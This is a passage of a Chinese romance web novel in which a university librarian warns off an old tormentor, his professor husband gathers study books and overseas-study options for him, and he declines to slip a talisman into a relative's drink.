“就是因为我什么都没有,所以我其实什么也不怕失去。” “……” “你还不了解老鼠走到绝路上是什么样吧?” 岑康宁说。 他的语气相当轻描淡写,像在说一桩最普通不过的八卦新闻消息:“没关系,我今天可以告诉你,免费的。” 话音落下,他拿起手机,开始给何明博发送消息。 一条条骇人听闻的新闻案件被逐个发送到何明博的微信,安静的咖啡厅里,何明博的手机放在桌子上,震动了许久都没停。 “真的不要逼我,我有的真的很少很少。” 岑康宁语气艰难地说。 他当然不是没有脾气,也不是不会生气。有人轻轻松松一句话毁了他的一生,他怎么可能没想过报复回去? 但岑康宁一直都知道,这件事太难。 对方跟自己出生起就有着极大的差距,他见过这世上太多太多的不公平。就算是举报,诉讼,对何明博这种人来说,又能怎么样呢? 哪怕把何明博的父亲也牵连在其中。 可何家这么多年的积淀。 且不说做不做得到,就算做到了,这需要付出多么大的精力? 岑康宁在打工的时候曾经见到过一个拾荒老人。 老人年纪大了,每天顶着风吹日晒,在街道上捡瓶子。 岑康宁见了后不忍心,经常把一些瓶子跟快递箱攒下来给他,老人每次都会说谢谢。 岑康宁觉得奇怪,老人的普通话非常标准,完全没有口音。甚至他也识字,会使用奶茶店里的小程序。 这样的老人怎么会沦落到这种境地呢? 直到一天,奶茶店的老板娘告诉他:“他啊,可怜人。本来是小学里的教师,工作体体面面,可惜脾气倔,非要跟校长对着干,告校长偷他荣誉。” “这种事情就让他偷嘛,毕竟人家是校长,他不,要告,要讨个公平。结果就是丢了工作不说,还闹得孩子都跟他决裂。” 岑康宁大为震撼,问老板娘:“那他告赢了吗?” 老板娘一边嗑着瓜子一边说:“赢了啊,校长赔了他三千块钱,在报纸上发了道歉。” 岑康宁正要说赢了就好。 老板娘却话锋一转:“可赢了又怎么样?打官司打了十多年,校长早就退休了,跟家人一起搬走国外过得逍遥自在,他呢?剩下什么?” 那天下午岑康宁出了一身冷汗,第一次知道原来这世界上公平与尊严那么不值钱。 只值三千块而已。 后来有时候再见到那位老人,他会想,老人后悔吗?用自己的一生来换一句道歉,到底值不值得? 岑康宁始终没得到答案。 因为他不忍去问。 后来又过了两年,他再路过那家奶茶店,跟老板娘聊天叙旧的时候,说起这位老人。 “他呀,去年死啦。” 岑康宁心头蓦地一紧,正要惋惜。 老板娘道:“倒是一如既往地犟种,临走前把老校长也带走了。” “……” 后来岑康宁又多方了解到这件事的内情,原来是校长回来探亲,酒局中提起这桩陈年旧事洋洋得意,交代自己曾经的属下“照顾照顾”老人的孩子。 老人这辈子最对不起自己的孩子。 为了告校长,耽误了孩子的童年跟教育。 后来孩子也不愿意认他这个父亲。 可校长毁了他一辈子不说,竟然还要对他的孩子下手。 得知这件事以后,已经是孑然一身的老人那天喝了半瓶白酒,拿着一把水果刀上了校长的门…… 岑康宁其实从没觉得自己的尊严跟公正比好好活着更重要,何明博一而再再而三的对他出手,岑康宁都可以选择忽略。 反正他这样的人,从出生开始不是注定就要受委屈的吗? 可祁钊不一样。 祁钊不该受这种委屈。 他的注意力应该只放在他感兴趣的领域,视线中是最新的实验数据;他的苦恼应该只是该怎么教给学生自己只要看一眼就会的问题。 他的手是用来做实验,写论文,为人类未来做出贡献的。 绝不是用来处理何明博对他莫须有的诬陷。 一想到这里,岑康宁就觉得愤怒又生气。 何明博千不该万不该。 不该对祁钊也出手。 “我既没有权势,也没有钱。” 岑康宁坦诚地说:“但我可以跟你保证的是,如果你再出现在他的眼前,我绝对会跟这些人一样,做鬼也缠着你。” “……” 何明博坐在原地震撼不已。 他不可思议地看着岑康宁,像是在看一个完全不熟悉的陌生人一样:“岑康宁,你还是岑康宁吗?” 岑康宁说:“我是。” 一直是。 何明博嘴唇颤抖,说不出话来。 许久后他心惊胆颤地开口:“你放心,我已经打算出国了,以后可能再也不会回来。” 又低下头,说:“岑康宁,我没想到你叫我出来会说这些。” 岑康宁下意识地攥紧了拳,心想,他其实也从未想过自己会说出这种话。毕竟他怂了这么多年,早已成了习惯,有时甚至怀疑自己还有没有站起来的勇气。 直到今天上午,当他意识到祁钊也许会因此受到伤害。 他开始理解老人最后的决定。 不是什么神龙拥有逆鳞,老鼠也有愤怒的权利。 他只是想要对他好的人能够继续过着他应有的平静生活,不被打扰,仅此而已。 …… 聊天到此为止。 两人相对再也无言。 无论是岑康宁还是何明博都知道,今天便是两人这辈子最后一次见面。 也许是因为这个原因,临走前,何明博忍不住问岑康宁:“毕业的那天,你说你一直是这样的人,只是不喜欢我而已。所以现在,你是喜欢他吗?” 岑康宁没有回答他这个问题。 因为当时他正忙着回祁钊微信。 祁教授再次提起了买车的问题,岑康宁对此事严正抗议: 【不要,真的不要,我要车干什么?什么意思你,给我买了车以后不想给我当司机了是吧?”】 作者有话说: 宁宁:生气[愤怒] 第63章 钊哥:【没有这个意思。】 咸鱼(学游泳中):【那不就得了,有免费司机,我还受那个累干嘛?(得意)(得意)】 钊哥:【……好吧,如果你真的想好了,我去取消订单。】 咸鱼:【快去快去!取消完记得来接我,我在这里——】 钊哥:【1。】 收到祁钊取消订单成功的截图以后,岑康宁总算满意地放在手机。但等他回过神来的时候,眼前已经是空无一人。 何明博不知什么时候已经走了。 没有留下任何痕迹。 唯独只有桌上空空如也的柠檬水杯,彰显着这里曾有一个人来过。 岑康宁看着那只透明的玻璃杯,逐渐收敛了脸上的笑意。 何明博最后的问题其实他听到了,只是不想回答罢了。经历过何明博上次的报复事件,岑康宁再也不敢乱把喜不喜欢这件事放在嘴边。 况且他现在也已经想的非常明白。 喜不喜欢的根本不重要。 曾经说过喜欢他的何明博一直都在伤害他,而祁教授不喜欢他又怎样?还不是老老实实给他当司机? 想到有人又要任劳任怨了,岑康宁方才收敛起来的笑意不受控制地再度出现。 他唇角上扬,用手机拍了一张服务生刚端上来的柑橘拿铁,喝完后发了个朋友圈: “晚上坏,我还是更喜欢甜甜甜。” — 周末的两天假期一晃而过。 转眼就又到了周一。 作为打工人,周一应该是所有人都最讨厌的一天,不仅意味着假期的结束,更意味着新一周上班的开始。 而对在学校里工作的打工人来说。 八月底的最后一个周一,比以往的每一个周一来得还要更煎熬一些。 “快快快,今天有消防演习!” “来了来了,马上就到。” “等会儿,怎么又变成消防演习了,不是刚刚还说开新学期动员大会么?” “我怎么收到的消息是要整理书库(擦汗)。” “@所有人早上消防演习,中午开会,下午整理书库。” “……真有你的,礼拜一。” 一大早,图书馆大群里就热闹非凡。 岑康宁吃早餐的功夫顺带看了眼,尽管已经有了心理准备会很忙,但还是被这饱和的工作量吓得吃了一惊。 当然最重要的还是,今天这么多活。 作为一个新手他有些想找夏老师给自己分享经验,结果一扭头,隔壁工位空空如也。 “夏老师今天请假。” 一旁的李明玉好心提醒道。 岑康宁:“……好吧。”只能说不愧是夏老师。 李明玉看他苦恼地表情忍不住捂嘴偷笑:“夏老师估计这周都请假。” “我懂了。” 岑康宁无奈道。 倒也不能苛责夏老师什么,毕竟都快退休了,在馆里有年轻人的情况下再让夏老师劳累也不合适。 只是苦了岑康宁跟学生兼职们。 早上的时候岑康宁跟李明玉搭班,为了消防演习来来回回跑了好多趟楼梯,岑康宁还因为身材比较标准,被消防员们当作伤员抬了两回。 好不容易消防演习圆满结束。 岑康宁刚吃完午饭,开会的通知又发了下来。 “新学期动员大会”是图书馆每学期开学前必开的一场大会,要签到,所有老师必须出席。 会议的内容就是老生常谈那一套。 跟岑康宁当学生的时候差不多,新学期新气象什么的。 唯一让岑康宁感到新鲜的是,原来图书馆的老师有这么多人,平日里完全看不出来。 不过这也跟岑康宁没什么关系就是了。 反正平日里大家彼此也不打交道。 就这样过了一个乱糟糟的中午,昏昏欲睡的岑康宁终于开始整理书库。 下午跟岑康宁搭班的是另一个学生兼职,这个学生兼职岑康宁不是特别喜欢,主要原因是他一来馆里就开始看书写东西,完全没有干活的意识。 虽然岑康宁会主动帮学生干活,让他们尽可能的轻松一些。 但这个男生是属于完全不干活的类型。 平时也就罢了,今天整理旧书库工作量非常之大,夏老师又不在,岑康宁一个人是显然忙不过来的。 好脾气的岑康宁也难免生气。 不过他没有发火,只是很礼貌地提醒:“刘浩同学,今天下午要整理书库哦。” 刘浩带着耳机,第一遍没听见。 一直到岑康宁放大音量说第二遍的时候才摘下耳机,茫然道:“什么?” 岑康宁:“没什么,上周有个研二的同学过来找我,说自己家庭比较困难,希望我能给她一个在图书馆兼职的工作机会。我看刘浩同学你平时学习挺忙的,好像也没办法兼任图书馆的这份工作,不如我们商量一下,把工作的机会让给她如何?” 刘浩登时睁大了眼睛。 下午整理书库时终于开始出力。 岑康宁多少松了口气,其实他不是反对学生兼职在工作期间干自己的事情,但不能什么都不干吧? 馆里清闲的时候倒还好。 一旦忙起来,比如说整理旧书库,馆里这么多藏书,靠着岑康宁一个人肯定是没办法完成的。 现在的岑康宁多少也会有一些老师的威严。 之前的偷拍事件也好,何明博事件也罢,岑康宁开始逐渐意识到自己有时候太好说话了也不行,会导致别人觉得自己好欺负。 岑康宁不想被人这么觉得。 更不想因为自己让身边的人也被这么认为。 然而他到底还是低估了整理旧书库的工作强度,哪怕是加上了刘浩,两人一头扎在书架里,一个下午的功夫,直到下班,也才整理了十分之一。 “……难怪夏老师要请一星期。” 岑康宁望着一眼望不到尽头的书架,腰酸背痛地想。 这却仅仅只是个开始。 新学期新气象,怎么能只整理旧书库,不进新书呢? 于是第二天上班的时候。 整理旧书的活还没结束,新书入库的活就又来了。 跟上回小打小闹,岑康宁一个人就搞定的上新书不一样,这回光是要搬回来的书岑康宁就来来回回跑了五六趟。 搬回来以后还要贴条形码扫描入库。 又是一笔不低的工作量。 岑康宁快忙晕了。他第一次知道原来大学图书馆管理员这活也是会累的,尤其是经历过暑假的那两个月悠闲,他整个人基本上已经习惯了平时松散的工作节奏。 骤然这么一忙起来。 他偶尔下班回去以后竟然连游戏都不想上线。 这可太稀奇了。 不过岑康宁忙的同时,祁钊其实也在忙,所以就算岑康宁不上线游戏,跟祁钊待在一起的时间也没有增加,甚至这一周还减少不少。 连续有三四天的晚上。 祁钊都加班到深夜很晚才回公寓。 岑康宁一度以为是开学的缘故,毕竟俩人在同一个大学,新学期开学图书馆忙,作为教授的祁钊只会比图书馆更忙。 开会备课见学生交材料做实验……岑康宁知道祁钊绝对忙疯了,所以这一周也没怎么用微信骚扰祁教授。 可开学周过去后,岑康宁都空闲下来两三天了。 祁钊竟然还在忙。 九月的第一个周五,那天下了小雨,温度有点低。 下班后岑康宁直接回了家,早早跟游戏队友们说好了今天不上线。下班回去后洗个了澡,他心情还不错,安静地躺在大床上一边刷视频一边等祁钊回来。 从六点等到七点。 一直到七点半,天都黑了,门口依然没动静。 岑康宁已经等饿了,他看了眼手机,没收到微信。 其实是很正常的事情,作为教授开学季忙到现在很合理,忙到顾不上跟岑康宁发微信提前说明也能理解。 可莫名地。 岑康宁就是有点儿生闷气。 也许是这几天太忙了吧,岑康宁明显感觉到自己脾气大了不少。 其实昨天岑康宁也生气了。 只是他没有告诉祁钊。 因为他生气的点实际上非常无厘头,仅仅只是因为祁钊连续两天晚上加班没有对自己说晚安而已。 结婚协议上没有任何条款规定过祁钊晚上一定要跟岑康宁说晚安才行。 说完晚安再休息不过是俩人不知不觉养成的睡前小习惯。 可连续两个晚上岑康宁都没有收到晚安。 他感到心烦意乱。 像是有只猫一直在用爪子挠他一样,他又是想问,又是觉得没必要问。 尤其是昨晚,岑康宁一个人孤零零躺在卧室左半边的床上,想到前一个晚上已经没有收到晚安,刻意没休息,一直等祁钊。 但他等了很晚。 一直等到了两点,祁钊依然没回来。 到底在忙什么? 岑康宁眼神里闪过一丝黯然与失落,郁闷地想,难道学术就比跟他说晚安还重要吗? 当然他也知道自己这点儿小脾气上不了台面,学术肯定比晚安更重要。 可是,今天晚上又怎么说,比结婚协议都重要了吗? 岑康宁站在冰箱前轻叹了口气。 “算了,吃泡面吧。” 这样想着,他无精打采地打开冰箱,打算用泡面对付过这个漫长的夜。 甚至连外卖都不想点。 但就在他打开冰箱的一瞬间,咯哒,门锁被打开的声音传来。 岑康宁按捺住冲出去的冲动,站在原地。 又过了一会儿。 果然,从客厅里传来熟悉的脚步声。 伴随着脚步声接近,祁钊的声音也同时接踵而至。 “宝宝?” 岑康宁瞬间一肚子的火全消了,他迫不及待地放下泡面,转头笑着走向祁钊:“钊哥,我在这里。” 祁钊也终于发现人在厨房,松了口气。 “饿了吗?” 祁钊问。 岑康宁说:“是啊,本来打算煮泡面。” 祁钊不赞同地皱起眉心:“少吃泡面。” 岑康宁:“我也不想的,可惜某人不准时回来,我只能吃泡面。” 祁钊愣了一下,迟疑地看着岑康宁:“你在等我?” 岑康宁眨眨眼:“不然呢?” “今天是周五晚上,你不会忘了吧。”岑康宁故意说。 到底还是没忍住。 这几天的冷落让岑康宁有些不太适应。 他其实没想过要那么自私的霸占祁教授所有时间,但周五的晚上以及每天睡前的晚安,都是属于他的。 所以—— “钊哥你最近到底在忙什么呀?” 五分钟后,一边等待着祁钊给自己点的米其林日料寿司,岑康宁提出了困扰自己快一周多的问题。 尤其是他方才发现。 祁钊回来的时候竟然带了足足一箱子书。 岑康宁承认,他惊呆了。 “是最近实验不顺利吗?” 结婚这么久,岑康宁还是第一次见祁钊这么努力。对于自己的工作,祁教授总是游刃有余,从没有过这种情况出现。 岑康宁只能归结于祁钊是不是遇到什么困难了。 虽然岑康宁没办法替祁钊解决困难,但他觉得自己至少可以安慰祁钊几句。 可真相往往令人震惊。 “最近实验非常顺利。” 祁钊道。 岑康宁就奇了怪:“那你这么忙?” 祁钊看着岑康宁,眼神认真。 岑康宁愣了一下,意识到不对劲。 “等下,你想说什么?” “宝宝。” 祁钊先叫了岑康宁一声,将毛捋顺了,然后才缓缓开口:“书是给你的。” 岑康宁:“……” “不是我不懂,为什么是给我的?” 岑康宁感到非常费解,人都不饿了。 祁钊说:“对不起,上上周周末我才知道,原来你本可以保研。” 岑康宁又是一愣,过了好一会儿,他才垂下眼,声音很轻地道:“哦,这事儿啊。没什么,都过去了,我现在的工作挺好的,我早都忘了。” 说着他搓了搓自己的手指。 感觉到鼻头骤然一酸。 为什么酸他也不知道,也许就是没想到,自己保研被鸽这事儿还会有另一个人替自己在乎吧。 直到祁钊接着道:“可以不过去。” 岑康宁:“什么叫不过去?” 祁钊把自己带回来的箱子抱到岑康宁面前,打开。 岑康宁顿时眼前一黑,鼻头也不酸了。 “这些都是什么?啊?” 他不敢置信地看着眼前的一切。 “《工程力学》《材料力学》《线性代数》《流体力学》《混凝土结构设计》……”岑康宁眼前黑了又黑,也是没想到这辈子自己还能有跟这些书再见面的一天。 而对此心情祁钊一无所知,甚至语气里带着几分邀功与得意: “还喜欢吗?这些书是我这两周了解整理以后,找到的很合适你复习相关知识的专业书籍。” 祁钊故意省略了这其中的过程。 他只用了解整理来轻描淡写的形容这两周他的经历。 但事实上,仅仅两周的时间,他需要从零开始了解一个此前对自己来说全然陌生的专业。 从一无所知到摸透专业前沿。 哪怕是祁钊,其实也并不容易。 如今摆在岑康宁面前的这些书,不仅仅是祁钊通过各方信息整合查找到的合适资料,更是由祁钊自己也都翻阅过一遍,确保过这些书的权威性后,才被拿到岑康宁面前。 当然,这件事祁钊永远不会告诉岑康宁。 他只是对没办法完美地帮岑康宁解决这件事感到遗憾。 “保研的时间已经结束,很遗憾我没有办法帮你重新推进这个程序。” 看得出来祁钊对这件事真的感到十分遗憾,速来冷淡的神色里多少多了几分懊恼。但沉湎于遗憾并不是祁教授的风格,于是最快速度地,祁钊冷静给出了全新的解决方案: “但我可以帮你联系留学。” 他说:“你比较喜欢什么方向?加州大学伯克利分校的结构力学工程方向,世界排名不错,旧金山天气也还可以;康奈尔大学的水利与水资源工程方向?或者你不喜欢美国,也可以考虑英国,我认识一位帝国理工大学的岩土学教授,可以帮你写推荐信。” “老公。” 岑康宁终于忍不住打断祁钊,此刻眼眶里的眼泪已经完全被收了回去。 他很认真地看了眼祁钊,随后将人整个扑倒在沙发上,开始脱他的衬衣。 祁钊:“……” 开始履行今日份的结婚协议前,岑康宁听到自己很委屈地喃喃自语:“有没有一种可能,我嫁给你就是为了不学习?” “到底谁那么喜欢学习啊!” 所以这两周祁钊其实都在忙这个。 自己一个人偷偷生闷气的岑康宁简直天都塌了。 作者有话说: 喜欢学习的其实是祁教授自己[三花猫头][星星眼] 宁宁:老公不在家,他不爱我了! 钊哥:不,我只是在学习—— 第64章 要说岑康宁完全没起过继续读研的想法,那也不对。 从三月保研被鸽那天到现在,过去了快五个多月的时间,作为一个从小优秀到大卷天卷地的小镇做题家,不止一次地,岑康宁生出要不要报名考研的想法。 尤其是那日第一次来p大图书馆报道。 走在图书馆二楼的台阶上,看着台阶两侧那一张张优秀年轻的脸。 岑康宁心中闪过一丝黯然的同时,当然也不服输过。 其实,我也不差吧? 高考省排前千,模拟考试最高发挥过690分,尤其擅长数学语文物理,语文曾经拿过石破天惊的147分,震惊全年级。 后来上了大学。 学习强度没有高中那么大了。 因为黄家不再给他生活费,岑康宁必须每日奔波在各个兼职里。 可饶是在这样的情况下。 岑康宁的成绩依然轻松保持前列。 四级六级都是一次性过的,四级考了600分,六级没复习考了631。土院最难的一节课,结构力学,授课老师是一位严谨的老教授,外号老刀,曾在院里创造过一次刀人二十个的“辉煌”佳绩。 但老刀给岑康宁的最终成绩,是97。 甚至在保研资格出来以后。 老刀曾主动跟岑康宁提起,要不是他快退休了,已经没有资格带研究生博士,不然的话一定要找岑康宁当自己的关门弟子。 ……说这些不是岑康宁想夸赞自己什么,只是他想证明,其实他真的也不差,在学习方面有一定的潜力。 当然跟祁钊比不了。 可这世界上有多少人能跟祁教授比? 岑康宁有自知之明,他就是普通人里的学霸,而钊哥是学霸里的学霸。但岑康宁其实并没有因为这一点就放弃继续读研。 因为不如祁钊的人但读研读博的人多了去。 多他一个不多,少他一个也不少。 真正让他放弃的是有一天,他在食堂里偶然遇到祁钊。 祁钊正在吃饭。 面前的餐盘上摆放着他每日固定的午餐搭配,不带酱料牛排,以及一份蔬菜沙拉。 因为很少能在校园里遇到祁钊的缘故,岑康宁发现祁钊的第一眼,下意识地就想要上去跟他打招呼。 可当他靠近祁钊后。 他才意识到祁教授并没有在专心吃饭 ,而是在手边的草稿纸上正写写画画,思考着什么东西。 岑康宁脚步一顿,就那么停在了原地。 他没有出声打扰祁钊,最后只是坐在祁钊的身侧,安安静静的看着祁钊。 祁教授的思考持续了许久。 这段过程中他一直专心致志,完全忽略了面前的午饭,自然也没发现角落里的岑康宁。 直到牛排已经完全变冷了,岑康宁面前的麻辣烫也已经空空如也,终于,祁钊手中的笔一顿。 他放下笔,轻抬眼镜,唇角勾起微微上扬的弧度。 “……” 很难形容当时岑康宁的感觉。 太复杂了。 他回味着方才祁钊的表情,一开始当然是震惊,原来,祁钊是真的很喜欢自己的工作,这世界上真的就有人是非常热爱工作热爱学习。 吃饭的时候也不忘思考。 随时随地拿出笔。 素来冷淡的人也会看起来这么开心。 其次,不由自主地,岑康宁想到自己。 岑康宁想,高中的时候,他好像也会在食堂里争分夺秒解题。但当时他是怎么想的呢? “好烦,饭又要冷了。” “我的葱油饼……为什么我就非要做这个破题,算遗传基因到底有什么意义!” “生物做完了还有物理,好惨一人——” 嗯,可以说全是抱怨,没有一丝一毫的喜悦。 岑康宁又想到大学时期末复习。 每到期末,他会最快速度压中每次考试的重点,在往年的考试卷里做会所有题型。 所以在外人看来,好像岑康宁每次都可以不怎么学,轻轻松松拿到高分。 实际上只有岑康宁自己清楚,他只是比较会做题而已。 他喜欢学习吗? 毋庸置疑,是不喜欢的。 比起学习看书,岑康宁当然更喜欢美食,游戏。 只有品鉴到美味的食物,味蕾跃动,岑康宁才会眯起眼睛,流露出发自内心的笑意;在副本里肆意挥洒技能,拿下敌方人头时,他的血液循环会加速,身体产生亢奋无比的多巴胺。 还有,下班以后躺在沙发上什么也不做,只安安静静地看着窗外风景的时候。 祁钊回来,跟祁教授聊天,说一些无关紧要的八卦,互道晚安,听他叫自己“宝宝”的时候。 朋友来学校找他,带着朋友们嘻嘻哈哈穿梭在校园里的时候。 这些瞬间。 都让岑康宁感到快乐。 绝非学习。 他喜欢土木工程这个专业吗? 当然也不。 高考结束后,岑康宁曾经简短地思考过一段时间自己将来的专业。 他想学医。 年少时还小,对父母的去世只感到恐惧,长大一些后逐渐开始跟父母的关系和解。他知道父母其实不是故意不要他,只是太穷,而且命苦。 想到冷冰冰地躺在太平间的那两具尸体时。 终于也不再是噩梦,取而代之的则是另一种想法: 假如,当时的他已经长大,是一个医生的话,会不会能改变一切? 再加上高中时眼镜受伤的那一次。 岑康宁开始对医生跟医院有着无限的好感。 想学医,未来当一名医生的想法就这么种在了他的脑子里。 甚至岑康宁想。 都不一定是当人类的医生,是救助小动物的医生的话,也很好。 他会尽自己可能的,让那些受伤的小生命重新恢复活力。 五岁时大伯家因为生病而被卖走的小狗。 他想治好它。 三年级时因为小学生调皮被弹弓打下树枝的鸟儿,它自由自在飞起来的样子一定很漂亮。 大学后学校里有许多流浪猫咪。 岑康宁救过一只口炎的小可怜。 送去医院的时候,小可怜蔫蔫巴巴,浑身的毛发脏地打结,看都懒得看岑康宁一眼;结果得到救治出院以后,它睁大了一双绿汪汪的眼,非常生气地隔着医院的笼子“殴打”岑康宁。 岑康宁想,当时小猫肯定觉得自己是个坏人吧。 可是当坏人的感觉也不错。 尤其是看到小猫又重新精神抖擞着在学校里作威作福的时候。 直到现在回想起那只小猫也会开心,岑康宁觉得如果自己当时学了兽医或者医生的话,现在一定不会纠结是否读研。 他一定会读的。 而且要读到博士,博士后。 跟钊哥一样,为了那些小生命们终身学习。 但很遗憾,在军叔与娟姨的干预下,岑康宁的本科专业最后是土木工程。 所以他读研深造的欲望其实很低。 当初决定保研的理由也是这一行现在不景气,想要找个好工作的话,读研读博是最好的选择。 但好工作的标准是什么呢? 岑康宁曾经跟舍友们一起讨论过。 最后大家一致同意,要有双休,要五险一金,要不加班,最好五点就下班,要工资一个月上万,年底发奖金福利…… 是不是听起来很熟悉? 这不就是岑康宁现在的工作吗?! 而且p大图书馆管理员的工作还远比他们曾经畅想过的更好。 有编制,不会被随意地辞退。 没有复杂的同事关系,大部分时间岑康宁只跟一个快退休经常请假不来的夏老师相处。 它甚至还非常体面,说出去也是会被叫一声老师的程度。 虽然偶尔也会忙碌,就像上一周的开学季,但在漫长的悠闲时光中,几乎可以忽略不计。 “所以,其实我真的认真思考过,为什么我还要读研?” 夜色深了。 岑康宁躺在祁钊的胸口处,粗重的喘息着,桃花眼微眯,毫无困意。 “根本没必要啊,如果说读研的目的是工作,我现在的工作已经非常好。钊哥,我这么说,你能理解我吗?” 祁钊轻轻挠了岑康宁的下巴一下,说:“理解。” 是他自己想当然了。 他以为失去保研机会以后的岑康宁会很遗憾。 下意识地,祁钊想替岑康宁弥补这个遗憾。他却从没想过,遗憾当然有,但岑康宁完全没有想要弥补的意思。 “理解就好,刚刚吓死我了,你是不知道刚刚一打开箱子看到那些书,我脑袋嗡的一下,瞬间就大了。” 岑康宁很夸张地形容着方才的场景,语气带着几分自己都控制不住地撒娇: “现在脑子还在疼,你害的,你给我揉揉。” 祁钊:“……” 没办法,这个锅的完全没有办法甩给别人,的确是他的错。 祁钊只能知错就改,开始任劳任怨给岑康宁按摩着脑袋。 他按摩的没什么章法,好在是力度适中,而且绝对的任劳任怨,不会按一会儿就停。于是岑康宁很快沉浸其中,不自觉发出了呼噜呼噜的声音。 “好奇怪,为什么我会发出这样的声音?” 岑康宁有些郁闷,也有点难为情。 祁钊却习以为常的模样:“猫被摸地舒服以后就是这样的。” 第一次听到那只橘白流浪猫在呼噜。 祁钊还以为它在生病。 问了医生才知道,原来猫只是觉得舒服安心。虽然很快呼噜了几声后,猫就不太耐烦了,就像现在的岑康宁一样,分明方才还眯起眼睛发出小猫一样的声音,转眼的功夫炸了毛—— “才不是猫,我是180大帅哥!” 祁钊:“你180?” 岑小猫凶巴巴:“怎么,不允许四舍五入啊?178四舍五入就是180。” 祁钊:“哦,那我就是190。” 岑康宁:“……”撒谎,你分明是187.45! 奇怪,为什么他还记得这个数字? 却没有功夫来得及细究,因为很快,有人按摩着按摩着,就忽然开始叫他“宝宝”,一声比一声低,一声比一声近。 灼热的呼吸喷洒在他敏感的耳垂处。 修长的手指不再仅仅满足于头顶。 才刚刚穿好的衣服,不知不觉扣子就被解开了。 随之而来的便是,那个其实一直没有安静下来的玩意儿,又开始试探地顶着岑康宁。 “……” 灯还亮着,岑康宁感到呼吸急促的同时,又有些恼羞成怒。 “不是刚刚才?” “不够的。” 祁钊说,他顿了下,又看着皮肤泛着粉白色的岑康宁补充说明:“昨天我收到了安德鲁的回信。” “安德鲁是谁?” “斯坦福的一位人类行为学家,我给你分享过他的论文。” “论文……”说起论文岑康宁好像忽然有了印象,他恍然大悟:“是不是就是那个说成年人一周要有一次性/生活的那个?” 祁钊说:“是。” 岑康宁窒息了片刻后,追问:“他又跟你说什么了?” 祁钊一边把人拉回自己怀里,一边说:“准确来说,是我对他的论文结论提出了质疑,而他回应了我的质疑。” “……” 岑康宁现在已经说不太出话了,因为他怕自己一张嘴的话,有一些声音就会不受控制地跑出来。 在两人的关系中,岑康宁一直避免这样的场景。 虽然说偶尔还是会忍不住。 可至少不能是一开始。 不过哪怕岑康宁不开口,他的眼神也说出了他此刻的疑问。 那便是—— 你质疑什么了? 祁钊在接下来的时间里,断断续续回答了岑康宁的问题。 “我说,身体正常的成年男性一周一次并不合理。” “安德鲁回信反驳我。” “我就礼貌地问他,是不是单身?” “……然后他怎么回你?” “他骂我。” “该骂。” 第二天一大早刚起床就收到最新协议的岑康宁表示,祁钊这骂挨的属实不亏。如果他是安德鲁,恐怕光发邮件骂一顿他还不够,非得登报辱骂才行。 毕竟—— 谁家好人能要求一周七次啊?! 岑康宁越看新协议越生气,气到连麦麦脆汁鸡也不想吃,简直想把这份新协议直接原地销毁。可以想象的到安德鲁假如真的是单身的话,收到祁钊的邮件该有多生气。 真是的,本来单身就烦。 然而真正销毁前。 一个清晰无比的画面蓦地出现在岑康宁眼前。 那会儿已经是深夜的后半段,卧室里的灯全灭了,黑暗的房间里只有祁钊手中笔记本电脑的背景光亮起。 微弱的光线打在那张英俊非凡的脸上,愈发显得祁教授睫毛修长,眼神深邃。 但这不是重点。 重点是,祁钊正在修改协议。 从岑康宁的角度,正好可以瞥见他认真的神情,以及唇角微微弯起的弧度—— 祁教授看起来竟然比那天在食堂里解出题目还要开心。 岑康宁感到震惊的同时,很后知后觉地,产生了一些不太一样的想法。 他在想。 有没有一种可能,祁钊也是有点儿喜欢自己的? 就像喜欢阿黛尔·伯德一样。 岑康宁头昏脑涨,没敢多想。 不过最后到底是没有销毁那份协议。 他打算就协议的内容同祁钊再度协商,一周七天当然不行,只有周五晚上也的确太少。两人在这件事上产生分歧,显然需要一定的时间沟通,随后各自妥协。 不过还没等沟通出个结果。 伴随着九月的第二场小雨,另一件事接踵而至,打乱了岑康宁原有的计划安排。 闷热的傍晚。 他收到刘海俐的电话。 “小岑。” “阿姨?” 岑康宁正在打游戏,认出刘海俐的声音后果断给电脑按了静音…… 刘海俐的声音于是变得清晰。 “是我,我寄过去的快递你收到了吗?”刘海俐说。 “快递?什么快递?” 岑康宁最近的确收了几个快递,不过都还没来得及拆,都摆放在次卧里。 刘海俐不满地道:“怎么回事,上午不是都显示签收了吗?” 岑康宁想了想:“您稍等,我上午的确签收了一个快递,不过还没来得及打开。” 说罢岑康宁起身在快递箱里一番寻找,很快找到了一个很小的包裹。 仔细一看的确不属于他自己买的。 “阿姨,我找到了。” 说着岑康宁打开快递箱。 刘海俐:“行,你收到就好,过两天去老头子的寿宴,记得把东西带好,最好能往祁未言身上贴。” 岑康宁:“啊这……” 他哭笑不得地看着手中的黄符,一时分不清刘阿姨是想害祁未言,还是想害自己。 第65章 电话那头,刘海俐的“教学”仍在继续。 “你就偷偷地贴,不会有人看到的。” “实在找不到机会的话,把它烧成灰,倒进姓祁的杯子里也行。” “他喜欢喝红酒,倒红酒杯里被喝下去的概率会高。” 岑康宁:“……” 这真的不是在犯罪吗? 挂断电话以后,岑康宁反复看着手中画着奇怪线条的黄符,不无疑惑地猜测道。 岑康宁其实不太信这些东西。 但他敢保证,这玩意烧成灰以后喝进肚子里绝对会出问题。 至少可以让祁院长拉肚子到明年。 这得多恨? 想到这里岑康宁手一抖,那张轻飘飘的黄符瞬间就被他扔进了马桶里。 随后哗啦一声—— 他面无表情地按下冲水键。 — 岑康宁并没有打算将这件事告诉祁钊,祁教授最近正忙着带学生,据李明玉说,课题组这学期新来了五个人。 两个研究生两个博士还有一个博后。 岑康宁想想就觉得头大,祁钊竟然还要挨个带。 他也跟郭振打听过:“振哥,你们硕博士入学以后都是导师手把手带的吗?” 郭振隔了好一会儿给他回消息:“怎么可能,有师兄带都不错了。” 岑康宁:“好吧。” 郭振意识到什么,问他:“怎么,你老公都亲自上手带啊?” “嗯。” 岑康宁想起这两天祁钊眼眶下的黑眼圈,不无心疼地道。 “啧啧,还得是我钊哥啊!不愧是我偶像!” 郭振对偶像一番大肆夸奖后,说:“自己带也有好处,想想看最厉害的老师亲自带你,少走多少弯路?多少人梦寐以求的机会。” 岑康宁说:“我知道。” 所以对这件事他虽然心疼,但从没出言阻止过。 因为他知道这是祁钊热爱的事业,无论多辛苦他都不会放弃。 不过还是心疼。 所以黄符这种小事儿,岑康宁就不想再告诉祁钊,让祁钊操心了。 但黄符可以冲马桶。 寿宴却不能不参加。 早在两周前,岑康宁就答应了刘海俐陪同祁钊一起出席祁钊爷爷寿宴的要求。 可当时的岑康宁并不知道,原来祁钊的爷爷就是祁老。 那位大名鼎鼎的医学界泰斗。 两三年前经常在新闻联播里出现的人物。 直到电话里刘海俐说出祁未言三个字。岑康宁才想到,祁未言,祁院长—— 